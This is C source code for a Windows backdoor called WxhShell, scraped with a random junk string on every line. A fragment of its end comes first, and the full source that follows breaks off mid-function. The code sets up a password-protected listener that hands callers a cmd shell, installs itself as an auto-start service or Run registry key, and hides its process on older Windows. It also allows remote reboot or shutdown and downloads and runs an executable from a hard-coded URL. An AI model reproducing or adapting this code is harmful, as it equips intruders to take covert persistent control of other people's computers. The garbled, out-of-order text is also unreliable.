    else { G@$Y6To[  
    closesocket(wsh); bogw/)1  
    ExitThread(0); ,Sz`$'^c  
    } \tv^],^`  
    break; tc-pVw:TV  
    } t<8vgdD  
  // 关机 Oz8"s4Y7  
  case 'd': { TpnJm%9`)t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); </xz V<Pi  
    if(Boot(SHUTDOWN)) K|n%8hRy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jhRg47A  
    else { R#"LP7\  
    closesocket(wsh); <4lR  
    ExitThread(0); B=<>OYH  
    } 9, A(|g  
    break; =*paa  
    } WY>r9+A?W  
  // 获取shell q,Oj  
  case 's': { 7TDt2:;]  
    CmdShell(wsh); R'Gka1v  
    closesocket(wsh); ,<Ag&*YE4  
    ExitThread(0); F7fpsAt7  
    break; %E<.\\^%  
  } U%.%:'eV=  
  // 退出 oe (})M  
  case 'x': { [p&n]T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rE->z  
    CloseIt(wsh); @*Y"[\"$  
    break; 7(8i~}  
    } :?uUh  
  // 离开 [N@t/^gRC  
  case 'q': { " a&|{bv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]81t~t9LQ  
    closesocket(wsh); X283.?  
    WSACleanup(); J#1-Le8@  
    exit(1); Bqcih$`BVU  
    break; cd&^ vQL8  
        } ON,sN  
  } z (1zth  
  } dM-qd`  
egXHp<bqw  
  // 提示信息 `EBI$;!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %-nYK3  
} X  jPPgI  
  } J\@ r ~x5G  
\*a7o GyH>  
  return; E =*82Y=B  
} xX !`0T7Y  
z_i (o  
// shell模块句柄 kv!QO^;^Y  
int CmdShell(SOCKET sock) ul@swp  
{ 96(3ilAt  
STARTUPINFO si; b(E}W2-t  
ZeroMemory(&si,sizeof(si)); ^uWPbW&/q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %#_"I e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pv#Oea?  
PROCESS_INFORMATION ProcessInfo; "=0(a)01p:  
char cmdline[]="cmd"; ?IN'Dc9&%-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 24g\x Nnt  
  return 0; $a@T:zfe  
} v3*y43  
ZXJ]==  
// 自身启动模式 |>Ld'\i8  
int StartFromService(void) Mzg zOM  
{ c 5%uiv]  
typedef struct X[SdDYMY  
{ 2\4ammwT  
  DWORD ExitStatus; 04j]W]8#  
  DWORD PebBaseAddress;  =8o$  
  DWORD AffinityMask; ]\JLlQ}#H  
  DWORD BasePriority; hR4\:s+[  
  ULONG UniqueProcessId; .S_7R/2(?  
  ULONG InheritedFromUniqueProcessId; VxP cC+  
}   PROCESS_BASIC_INFORMATION; t6,bA1*5y  
8mm]>u$  
PROCNTQSIP NtQueryInformationProcess; =K \xE"  
Yy 8? X9r.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Mj:bm&9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o){\qhLp  
xCQLfXK7  
  HANDLE             hProcess; *2T"lpl  
  PROCESS_BASIC_INFORMATION pbi; G(3wI}  
)K}-z+$)k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mfW}^mu  
  if(NULL == hInst ) return 0; %&5PZmnW  
/g]NC?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IDY2X+C#U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !,cL c}a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QomihQnc  
: MEB] }  
  if (!NtQueryInformationProcess) return 0; QM) ob  
 5(\H:g\z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Wg!> g!  
  if(!hProcess) return 0; E]P7u"1  
yg^ 4<A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~Fe$/*v  
n~Yr`5+Z  
  CloseHandle(hProcess); 1a]P+-@u[  
J*Q+$Ai~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Q080Ltet  
if(hProcess==NULL) return 0;  ?8/T#ox  
hh[@q*C  
HMODULE hMod; @kPe/j/[1  
char procName[255]; fq[1|Q  
unsigned long cbNeeded; 1xD?cA\vu  
K%g_e*"$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); | 9 <+!t\  
1KadT7<0}  
  CloseHandle(hProcess); @$|8zPs  
"(YfvO+  
if(strstr(procName,"services")) return 1; // 以服务启动 #z5$_z?_  
so>jz@!EE  
  return 0; // 注册表启动 $vLGX>H  
} 98rO]rg  
RI3GAd  
// 主模块 Gspb\HJ^  
int StartWxhshell(LPSTR lpCmdLine) pt%*Y.)az  
{ !"LFeqI$lr  
  SOCKET wsl; 0O!A8FA0  
BOOL val=TRUE; |4j'KM;U  
  int port=0; ET[>kn^#  
  struct sockaddr_in door; 3(,c^F  
bs_< UE  
  if(wscfg.ws_autoins) Install(); %D49A-R  
Y_FQB K U  
port=atoi(lpCmdLine); 5|A"YzY#  
xqpq|U  
if(port<=0) port=wscfg.ws_port; z^o7&\:  
tPb<*{eG  
  WSADATA data; %w;wQ_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j%)@f0Ng  
iLO,XW?d v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o&)v{q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '[vC C'  
  door.sin_family = AF_INET; ~[Z(6yX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "uP~hFA7M  
  door.sin_port = htons(port); JYR^k=  
lxfv'A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?BR Z){)  
closesocket(wsl); cz1 m05E  
return 1; P#9Pq,I  
} ~^J9v+  
@ek8t2??x  
  if(listen(wsl,2) == INVALID_SOCKET) { +O4//FC-"  
closesocket(wsl); zmhAeblA  
return 1; tkP& =$  
} XG!^[ZDs  
  Wxhshell(wsl); l:OXxHxRi  
  WSACleanup(); o0_H(j?  
]zz%gZz  
return 0; )Vo%}g?6!  
ul{D)zm\D  
} &],O\TAul  
>?jmeD3u  
// 以NT服务方式启动 D^S"6v" z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (@NW2  
{ c1xX)cF  
DWORD   status = 0; }Xb|Ur43  
  DWORD   specificError = 0xfffffff; l% p4.CX  
N>w+YFM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xD9ZL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7[1 VFc#tf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QN;GMX5&  
  serviceStatus.dwWin32ExitCode     = 0; r_MP[]f|0  
  serviceStatus.dwServiceSpecificExitCode = 0; +4F; m_G6  
  serviceStatus.dwCheckPoint       = 0; _^D-nk?  
  serviceStatus.dwWaitHint       = 0; rX22%~1  
LX}|%- iv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y*E{X  
  if (hServiceStatusHandle==0) return; G_}oI|B  
Ckhw d  
status = GetLastError(); AZ SaI  
  if (status!=NO_ERROR) ,x utI  
{ MhjIE<OI=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X([@}ren  
    serviceStatus.dwCheckPoint       = 0; 75iudki  
    serviceStatus.dwWaitHint       = 0; {<zE}7/2-  
    serviceStatus.dwWin32ExitCode     = status; wj8\eK)]L  
    serviceStatus.dwServiceSpecificExitCode = specificError; BkB9u&s^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X=? \A{Y  
    return; I5E5,{  
  } :4)lmIu  
L i+|%a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i "aQm  
  serviceStatus.dwCheckPoint       = 0; .uB[zJc  
  serviceStatus.dwWaitHint       = 0; o\qeX|.70  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0R;`)V\^  
} rS0#]Gg  
Hp@cBj_@P2  
// 处理NT服务事件,比如:启动、停止 *fSX3Dk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X{iidTW`xv  
{ @ev^e !B  
switch(fdwControl) PiLLUyQx  
{ (L!u[e0[#  
case SERVICE_CONTROL_STOP: ;L,yJ~  
  serviceStatus.dwWin32ExitCode = 0; D=B:tP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &`_| [Y ]H  
  serviceStatus.dwCheckPoint   = 0; _zLEHEZ-  
  serviceStatus.dwWaitHint     = 0; 'cY @Dqg1  
  { 9y*(SDF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +A%zFF3  
  } *7qa]i^]  
  return; )O\l3h"  
case SERVICE_CONTROL_PAUSE: + B7UGI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =H"%{VeC5  
  break; _+gpdQq\p  
case SERVICE_CONTROL_CONTINUE: ZJQkZ_9@2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; crJNTEz  
  break; :(I=z6  
case SERVICE_CONTROL_INTERROGATE: NJKk\RM@7  
  break; eTt{wn;6  
}; nTsPX Tat  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3]>YBbXvE  
} }'\M}YM  
E8o9ufj3  
// 标准应用程序主函数 Y3xEFqMU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8g/r8u~  
{ /sVmQqVY  
K,*IfHi6[  
// 获取操作系统版本 k,y#|bf,Y  
OsIsNt=GetOsVer(); ">s0B5F7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kEg~yN  
!zxq9IhWR  
  // 从命令行安装 R~bLEo  
  if(strpbrk(lpCmdLine,"iI")) Install(); eh*F/Gu  
^fM=|.?  
  // 下载执行文件 5 d|+c<  
if(wscfg.ws_downexe) { "H{#ib_c_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `~@}f"c`u  
  WinExec(wscfg.ws_filenam,SW_HIDE); $-)y59w"  
} 7.C]ZcU  
^Cg@'R9  
if(!OsIsNt) { N mN:x&/  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,-> P+m5  
HideProc(); &HJ~\6r\  
StartWxhshell(lpCmdLine); JM*rPzp  
}  uMBb=   
else *1}vn%wvn  
  if(StartFromService()) ^N~Jm&I  
  // 以服务方式启动 :wJ!rn,4  
  StartServiceCtrlDispatcher(DispatchTable); SHC VjI6  
else T f^O(  
  // 普通方式启动 .gI9jRdKw  
  StartWxhshell(lpCmdLine); UKSI"/8I  
c:}K(yAdd  
return 0; _j<,qi  
} ,qlFk|A|  
tWdP5vfp  
QpifO  
2K'}Vm+  
=========================================== ^[zF IO  
P q( )2B  
S[uHPYhlA  
m$$98N  
ix}*whW=U  
Q1'D*F4  
" <lLk (fC  
p|w;StLy  
#include <stdio.h> +'I8COoiv%  
#include <string.h> . LNqU#a  
#include <windows.h> D%.<} vG  
#include <winsock2.h> 5{6ebq55"  
#include <winsvc.h> nzu 3BVv  
#include <urlmon.h> H %PIE1_  
Q_a%$a.rV  
#pragma comment (lib, "Ws2_32.lib") Eb9M;u  
#pragma comment (lib, "urlmon.lib") P^*gk P  
:Ee5:S   
#define MAX_USER   100 // 最大客户端连接数 fKT(.VN q5  
#define BUF_SOCK   200 // sock buffer GgjBLe=C  
#define KEY_BUFF   255 // 输入 buffer 6d/b*,4[  
fmq^AnKd  
#define REBOOT     0   // 重启 FkT % -I  
#define SHUTDOWN   1   // 关机 jfrUOl'l  
dzMI5fA<_  
#define DEF_PORT   5000 // 监听端口 4^B:Q9B)  
B6vmBmN  
#define REG_LEN     16   // 注册表键长度 ';7|H|,F  
#define SVC_LEN     80   // NT服务名长度 8 _[f#s`)  
Qod2m$>wp}  
// 从dll定义API >Y/1%Hp9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJ&zU<E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ("BFI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x]U (EX`t$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kL qFh<  
Ljxn}):[  
// wxhshell配置信息 cjO,#W0&f  
struct WSCFG { [G|2m_  
  int ws_port;         // 监听端口 IN]bAd8"  
  char ws_passstr[REG_LEN]; // 口令 4B}w;d@R  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,@ Cru=  
  char ws_regname[REG_LEN]; // 注册表键名 $RSVN?  
  char ws_svcname[REG_LEN]; // 服务名 rQ$A|GJL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JGD{cr[S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !ZV#~t:)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XsHl%o8,z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HI eMV,.QN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^ihXM]1{G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c#;LH5KI  
M !OI :v  
}; vR~*r6hX8  
49Ue2=PP#  
// default Wxhshell configuration @kwD$%*0  
struct WSCFG wscfg={DEF_PORT, 7"JU)@ U]  
    "xuhuanlingzhe", U>x2'B v  
    1, C5RDP~au  
    "Wxhshell", uf)W? `e~  
    "Wxhshell", Lou4M  
            "WxhShell Service", .^.UJo;4G  
    "Wrsky Windows CmdShell Service", 90aPIs-  
    "Please Input Your Password: ", 1,`x1dcO!A  
  1, %dT%r=%Y  
  "http://www.wrsky.com/wxhshell.exe", Pjb9FCA'  
  "Wxhshell.exe" Azz]TO  
    }; L}a3!33)C  
xD?{Hw>QT#  
// 消息定义模块 ,em6wIq,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pr0V)C6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t1Khf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #CQ>d8&  
char *msg_ws_ext="\n\rExit."; L kq>>?T=  
char *msg_ws_end="\n\rQuit."; (Fgt#H(B  
char *msg_ws_boot="\n\rReboot..."; Nyqm0C6m^  
char *msg_ws_poff="\n\rShutdown..."; 4+ k:j=x  
char *msg_ws_down="\n\rSave to "; '7*=m^pc  
UXk8nH  
char *msg_ws_err="\n\rErr!"; }5tn  
char *msg_ws_ok="\n\rOK!"; AYZds >#Q  
LMG\jc?,  
char ExeFile[MAX_PATH]; M<~F>(wxA  
int nUser = 0; NxX1_d  
HANDLE handles[MAX_USER]; N[+dX_h  
int OsIsNt; =;/h{ t  
ycAQPz}=I  
SERVICE_STATUS       serviceStatus; 'qd")  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]VYl Eqe  
-% f DfjP  
// 函数声明 cT0g, ^&  
int Install(void); }t-r:R$,  
int Uninstall(void); N~ozyIP,  
int DownloadFile(char *sURL, SOCKET wsh); -5ec8m8  
int Boot(int flag); : }IS=A  
void HideProc(void); sTqB%$K}  
int GetOsVer(void); "DN`@  
int Wxhshell(SOCKET wsl); 3CHte*NL=  
void TalkWithClient(void *cs); QF>[cdl?8  
int CmdShell(SOCKET sock); BVNh>^W5B  
int StartFromService(void); Nb9pdkf0  
int StartWxhshell(LPSTR lpCmdLine); x+TNF>%' D  
YWZF*,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hB+ t pa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |}|;OG  
9,c>H6R7  
// 数据结构和表定义 HYH!;  
SERVICE_TABLE_ENTRY DispatchTable[] = j{Fo 6##  
{ 5Q}@Y3 i=  
{wscfg.ws_svcname, NTServiceMain}, 2$ rq  
{NULL, NULL} y d$37G|n  
}; 2Ls<OO  
5y'Yosy:  
// 自我安装 -oo=IUk  
int Install(void) o_N02l4J)  
{ Ji[w; [qL  
  char svExeFile[MAX_PATH]; g:clSN,  
  HKEY key; yN o8R[M  
  strcpy(svExeFile,ExeFile); UiEB?X]-l'  
IyuT=A~Ki  
// 如果是win9x系统,修改注册表设为自启动 uR%H"f  
if(!OsIsNt) { <FK><aA_i*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W%W. +f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QaO`:wJj  
  RegCloseKey(key); DRIv<=Bt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h5gXYmk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 $S,P|  
  RegCloseKey(key); j&pgq2Kl  
  return 0; .2P?1HpK  
    } 6J*`<k/ S  
  } Y"jDZG?  
} aS7zG2R4H  
else { GT.^u#r  
8dhY"&  
// 如果是NT以上系统,安装为系统服务 .-AB o]hf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 31C]TdJ  
if (schSCManager!=0) PS22$_}   
{ ("oA{:@d  
  SC_HANDLE schService = CreateService Uk2q,2  
  ( %E\%nTV  
  schSCManager, kt#W~n  
  wscfg.ws_svcname, h,+=h;!  
  wscfg.ws_svcdisp, z>:7}=H0  
  SERVICE_ALL_ACCESS, <X |h *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bH{aI:9Fb  
  SERVICE_AUTO_START, c" 7pf T  
  SERVICE_ERROR_NORMAL, gsp 7N  
  svExeFile, OQQ9R?Ll{  
  NULL, k#(cZ  
  NULL, dL` +^E>  
  NULL, ,f+5x]F?m  
  NULL, PpRO7(<cD  
  NULL N96BWgT  
  ); z{d5Lrk  
  if (schService!=0) wVOL7vh  
  { iL, XBoE  
  CloseServiceHandle(schService); +CT$/k  
  CloseServiceHandle(schSCManager); eNFUjDm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ODEXQl}R  
  strcat(svExeFile,wscfg.ws_svcname); wjJ1Psnx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '5U$`Xe1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MGz F+ln^U  
  RegCloseKey(key); V2,WP  
  return 0; n y)P  
    } YMTA`T(+  
  } ^^SfIK?p  
  CloseServiceHandle(schSCManager); 7nz+n#  
} { NJ>[mKg  
} Zg&\K~OC  
d 6EY'*0  
return 1; Dj+Osh  
} &>l8SlC?  
ef;L|b%pp  
// 自我卸载 N{t :%[  
int Uninstall(void) i_Z5SMZ  
{ t`,IW{  
  HKEY key; n;-r W;ZO  
_%vqBr*  
if(!OsIsNt) { +[ /r^C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NCFV  
  RegDeleteValue(key,wscfg.ws_regname); >}{-!  
  RegCloseKey(key); Td1ba^J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *v ^"4  
  RegDeleteValue(key,wscfg.ws_regname); Sp,Q,Q4  
  RegCloseKey(key); %i>e  
  return 0; 1cBhcYv"  
  } EE6|9K>  
} bTGK@~  
} FraW6T}_  
else { d$rUxqB.  
o}+Uy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 78CJ  
if (schSCManager!=0) }~r6>7I  
{ X,+}syK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6QXQ<ah"  
  if (schService!=0) 6.s?  
  { dMmka  
  if(DeleteService(schService)!=0) { -Q PWi2:k  
  CloseServiceHandle(schService); u7&'3ef  
  CloseServiceHandle(schSCManager); 5MY}(w  
  return 0; ;nKHm  
  } B8AzN9v&"N  
  CloseServiceHandle(schService); SM+fG:4d  
  } kdh9ftm*\  
  CloseServiceHandle(schSCManager); 4F,Ql"ae(  
} 4<< bk_7'  
} L?27q  
u?;Vxh3@|  
return 1; rHgdvDc  
} Gj19KQ1G  
a@y5JxFAy  
// 从指定url下载文件 +c8AbEewg  
int DownloadFile(char *sURL, SOCKET wsh) 0nn]]B@l  
{ yCCw<?  
  HRESULT hr; TUUE(sLA  
char seps[]= "/"; ioNa~F&  
char *token; pJIE@Q|hi  
char *file; _*ou o<x  
char myURL[MAX_PATH]; NTXL>Q*e  
char myFILE[MAX_PATH]; nH>V Da  
uy _i{Y|  
strcpy(myURL,sURL); &s^>S? L-  
  token=strtok(myURL,seps); Ogke*qM  
  while(token!=NULL) %y\eBfW,/  
  { L\m!8o4  
    file=token; OZ'.}((?n  
  token=strtok(NULL,seps); )s<WG}  
  } $7n#\h  
iSr`fQw#  
GetCurrentDirectory(MAX_PATH,myFILE); Ivt} o_b*  
strcat(myFILE, "\\"); L> Oy7w)Y  
strcat(myFILE, file); gJ5wAK+?  
  send(wsh,myFILE,strlen(myFILE),0); bV$8 >[`  
send(wsh,"...",3,0); 'uf2 nUo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [j}7@Mr`\  
  if(hr==S_OK) xR|eyeR  
return 0; . z$Sm  
else 3P#+) F~  
return 1; 5`"*y iv  
$FQcDo|[  
} xw+<p  
AX!>l;  
// 系统电源模块 0^}'+t,lc  
int Boot(int flag) dmaqXsU8q  
{ z/0yO@_D/q  
  HANDLE hToken; }WO9!E(  
  TOKEN_PRIVILEGES tkp; EARfbb"SG7  
JC&6q >$  
  if(OsIsNt) { )y`TymM[F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oB0 8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ] `B,L*m6  
    tkp.PrivilegeCount = 1; N$%61GiulT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >{ECyh;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &7($kj  
if(flag==REBOOT) { r2SJp@f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uGa(_ut  
  return 0; 'l' X^LMD  
} 0n*rs=\VG  
else { V Z2.w4b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hg&w=l  
  return 0; Q)G!Y (g\  
} ~Un64M?  
  } DhWWN>I  
  else { D(qHf9  
if(flag==REBOOT) { i<#h]o C}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  nOoKGT  
  return 0; i$[,-4 v  
} a: yB%:2  
else { XhE$&Ff  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) abICoP1zQ  
  return 0; ,Um5S6 Z  
} TZh\#dp4l  
} 6; 5)/q  
n9kd2[s|  
return 1; &@4.;u  
} E 4='m  
(Bt;DM#>  
// win9x进程隐藏模块 HZDk <aU/!  
void HideProc(void) ~># LOT `  
{ Ql~#((K  
_\,rX\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^91sl5c8yD  
  if ( hKernel != NULL ) 5ys #L&q'Z  
  { oUQGLl!V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;'=VrE6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3VcT7y*{P  
    FreeLibrary(hKernel); $R%+*  
  } ;Ze"<U  
5jn$7iE`  
return; ,VKQRmd  
} 0W~.WkD  
:%/\1$3P  
// 获取操作系统版本 W il{FcHY  
int GetOsVer(void) u}Ei_ O<z  
{ c8#T:HM|`  
  OSVERSIONINFO winfo; GFd Z`i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZR/R'prW  
  GetVersionEx(&winfo); ATMc`z:5T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jOBY&W0r  
  return 1; hz< |W5  
  else !~K=#"T  
  return 0; V.;:u#{@-Q  
} M4TrnZ1D}  
qs!>tw  
// 客户端句柄模块 kF+ZW%6N  
int Wxhshell(SOCKET wsl) ra]!4Kd'  
{ Q&u>7_, Du  
  SOCKET wsh; o-SRSu  
  struct sockaddr_in client; C!!mOAhJ  
  DWORD myID; [urH a  
iY0,WT}&n  
  while(nUser<MAX_USER) 13ipaz  
{ 4dW3'"R"L  
  int nSize=sizeof(client); yDd=& T   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4JGE2ArR  
  if(wsh==INVALID_SOCKET) return 1; xJvLuzUD  
UskZ%J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /GsSrP_?]  
if(handles[nUser]==0) o*%3[HmV  
  closesocket(wsh); *Jb_=j*)  
else |.j^G2x  
  nUser++; b\1+kB/8  
  } n<{aPLQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &nQRa?3,   
mYjf5  
  return 0; 5\VxXiy 0  
} %z1{Kus  
z8b _ _%Br  
// 关闭 socket +``>,O6  
void CloseIt(SOCKET wsh) d2ohW|  
{ &c20x+  
closesocket(wsh);  "\`>2  
nUser--; "VV914*z  
ExitThread(0); kfVZ=`p}  
} 0;vtdM[_  
)nhfkW=e  
// 客户端请求句柄 6yN" l Q7  
void TalkWithClient(void *cs) %h0D)6 j  
{ Am#m>^!qb  
BpH|/7  
  SOCKET wsh=(SOCKET)cs; e:qo_eSC^-  
  char pwd[SVC_LEN]; 0HjJaML  
  char cmd[KEY_BUFF]; ab{;Z 5O  
char chr[1]; SLSF <$  
int i,j; GL/  KB  
/a%*u6z@  
  while (nUser < MAX_USER) { 9QX4R<"wUg  
=h(7rU"Yz  
if(wscfg.ws_passstr) { iNt 4>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); otU@X 3<_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _]P a>8X*  
  //ZeroMemory(pwd,KEY_BUFF); NzAQ@E 2d:  
      i=0; Hr8\QgD<4  
  while(i<SVC_LEN) { /;DjJpwf0  
^,Xa IP+[  
  // 设置超时 60'6/3  
  fd_set FdRead; 8AryIgy>@  
  struct timeval TimeOut; D^n xtuT*  
  FD_ZERO(&FdRead); >Z}@7$(7!~  
  FD_SET(wsh,&FdRead); B-$+UE>%  
  TimeOut.tv_sec=8; XHy ?  
  TimeOut.tv_usec=0; fc3 Fi'^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NP "ylMr7P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6?O}Q7G  
L4~ W/6A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ cq!RgRn  
  pwd=chr[0]; GN0duV  
  if(chr[0]==0xd || chr[0]==0xa) { N.jA 8X  
  pwd=0; rrAqI$6  
  break; +B#qu/By  
  } gNTh% e  
  i++; 1f<RyAE?5  
    } +1x)z~q=  
zFOL(s.h|0  
  // 如果是非法用户,关闭 socket !Pw$48cg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q=njKC  
} ;:U<ce=  
O'OFz}x),  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A9t8`|1"%H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M</Wd{.g"  
bhn5Lz$z  
while(1) { o,J^ e_  
{(%~i37  
  ZeroMemory(cmd,KEY_BUFF); !\ZcOk2  
( :iPm<  
      // 自动支持客户端 telnet标准   c88_}%h?(  
  j=0; 8|6~o.B.G  
  while(j<KEY_BUFF) { r( M[8@Nz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rfX=*mjt  
  cmd[j]=chr[0]; e^=NL>V6p  
  if(chr[0]==0xa || chr[0]==0xd) { g*F~8+]Y  
  cmd[j]=0; Y!M~#oqio  
  break; Mo_$b8i  
  } bTiBmS  
  j++; w?_`/oqd|  
    } O MvT;Vgg  
} #qQ2NCH  
  // 下载文件 $.9 +{mz  
  if(strstr(cmd,"http://")) { %uua_&#)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i$["aP~G  
